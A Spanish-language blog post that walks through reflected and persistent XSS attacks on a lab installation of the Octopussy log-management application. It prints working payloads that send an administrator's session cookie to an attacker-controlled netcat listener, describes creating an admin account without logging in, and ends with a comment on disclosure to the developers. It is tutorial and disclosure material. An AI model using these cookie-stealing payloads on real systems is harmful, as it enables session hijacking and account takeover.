lunes, 4 de marzo de 2013

Un poco de XSS

Por acá de nuevo, debido a que realmente me gustó escribir el post anterior, hoy voy a escribir un poco sobre XSS, otra vulnerabilidad muuuuy común en aplicaciones web. XSS (Cross Site Scripting) se trata de una vulnerabilidad que permite la inserción y ejecución de código javascript en una aplicación web, principalmente debido a la ineficiencia o ausencia de validación en las entradas de los usuarios.

En esencia existen dos tipos de vulnerabilidades XSS:
-Indirectas o reflejadas: estas no perduran en el tiempo, y se trata de la modificación de parámetros entre una página y otra. Generalmente se trata de variables que se van a mostrar en el sitio.
-Directas o persistentes: consisten en lograr insertar código script de manera permanente en la aplicación web. Este tipo de XSS se presenta por lo general en sitios que permitan publicar contenido.

Mi conejo de indias volverá a ser Octopussy (la misma instalación del post anterior), ya que ha demostrado ser un buen ejemplo (o mal ejemplo, depende de donde se lo mire :P) para probar estas vulnerabilidades.

Entonces el objetivo principal es lograr insertar código javascript para por ejemplo: robar las cookies de sesión (también conocido como session-hijacking, secuestro de sesion).

Luego de probar un rato me encontré con que el lugar mas sencillo para explotar XSS es la página de eliminación de usuarios, mas precisamente en el link: https://172.16.62.145:8888/dialog.asp?id=delete_user&arg1=usuario.



Prueba 1: ejecución del clásico mensaje con la función alert(). Para esto vamos a jugar con el parámetro arg1 que podemos ver se encuentra escrito en el código de fuente, por lo cual intuimos que es un potencial XSS INDIRECTO. Primero cambiamos usuario por una palabra cualquiera, como aquelarre.


Queda confirmado que el argumento arg1 es luego usado para construir el sitio que vemos. Entonces ahora solo nos queda introducir en arg1 algo de javascript. Reemplazamos aquelarre por <scrip>alert("XSS!!!")</script>


Prueba 2: obteniendo la cookie de sesión. Como dijimos antes, la idea sería poder obtener el token de sesión para poder tomar la identidad del administrador, para eso necesitamos la cookie asignada a su sesión. Para ver las cookies con javascript utilizamos document.cookie, y la podemos ver utilizando alert de la siguiente forma: <script>alert(document.cookie)</script>


Prueba 3: session hijacking!!! Ahora ya sabemos cómo ver la cookie, solo necesitamos poder enviarnosla remotamente para luego poder utilizarla. La manera mas utilizada de hacer esto es mediante la famosa etiqueta <img>. La idea básicamente es que en el atributo src de nuestra etiqueta img apuntemos hacia algún servidor web bajo nuestro control incluyendo la cookie como parámetro en una petición GET.

Como no merece la pena levantar un servidor web para hacer solamente esta prueba, se me ocurrió utilizar lisa y llanamente netcat (la navaja suiza TCP/IP como le dicen :P). Entonces puse netcat a escuchar en el puerto 8080 de la pc 172.16.62.1.

Ahora el link al que debería acceder nuestro administrador desprevenido es: https://172.16.62.145:8888/dialog.asp?id=delete_user&arg1=%3Cscript%3Edocument.write%28%27%3Cimg%20src=http://172.16.62.1:8080/%27+%2bdocument.cookie+%2b+%27%3E%27%29%3C/script%3E
Y nuevamente aparece la imagen rota que nada dice, pero que muuucho hace.


Y en nuestro netcat recibimos la cookie como parámetro en el GET:


Listo, ya tenemos la cookie, no necesitamos ni usuario ni password. Para comprobar que la cookie obtenida funciona, eliminamos toda las cookies de firefox, de tal forma que si ingresamos a https://172.16.62.145:8888/system.asp veremos:


Ahora cargamos manualmente la cookie con cookiemanager:


Volvemos a ingresar a https://172.16.62.145:8888/system.asp y ahora...:


Total y absoluto control :D, sesión secuestrada con éxito!

Esta técnica a mi criterio se trata de una combinación de CSRF y XSS, ya que por un lado tenemos la ejecución de una petición de manera encubierta sobre una aplicación remota (el hecho de lograr que el administrador ejecute el link) y la inserción de código javascript para el robo del token de sesión.

Prueba 4: Luego del robo de sesión exitoso seguí probando cosas sin sentido y me encontré con algo mas que gracioso. Sin tener una sesión iniciada, solamente conociendo el formulario de la creación de usuarios podemos crearnos nuestro propio usuario admnistrador!!!

Utilizando el formulario de la prueba 1 de CSRF (CSRF2.html) del post anterior se puede crear el usuario eviladministrator:


Una vez creado iniciamos sesión:


INCREIBLE... pero si.

Prueba 5: los 3 primeros casos se trataron de XSS de tipo reflajados o indirectos, que como ya dijimos NO son persistentes (solo vuelven a funcionar si el usuario presiona el link nuevamente). Ahora vamos a buscar un caso de XSS directo o persistente para ver de qué se trata.
Haciendo uso de la vulnerabilidad de la Prueba 4, en el campo de nombre ponemos <script>document.write('<img src=http://172.16.62.1:8000/'+document.cookie+'>');</script> y agregamos el nuevo usuario.


Ahora cuando algún usuario se autentique en la aplicación y vaya a la sección de usuarios verá lo siguiente:


En la imagen anterior además se ven otras pruebas, una de ellas consiste en poner en el nombre del usuario <script>document.write(document.cookie)</script>. Esta prueba en particulara se trata de una de las imágenes rotas. Si controlamos nuestro netcat vemos:


Decimos que se trata de un XSS persistente ya que los datos están grabados en la base de datos de usuarios. Siempre que un usuario ingrese a esta parte de la aplicación nosotros recibiremos su cookie, porque se ejecutará el XSS.

Para quienes quieran un poco mas de XSS acá va: https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet

1 comentario:

  1. Le comunique al equipo de desarrollo de octopussy y me dijeron que los XSS deberian estar solucionados. Me pidieron que probara si podia. Instale la ultima version (1.0.8) y la mayoria de los XSS siguen funcionando, asi como los CSRF y el fallo en la creacion de usuarios.

    ResponderEliminar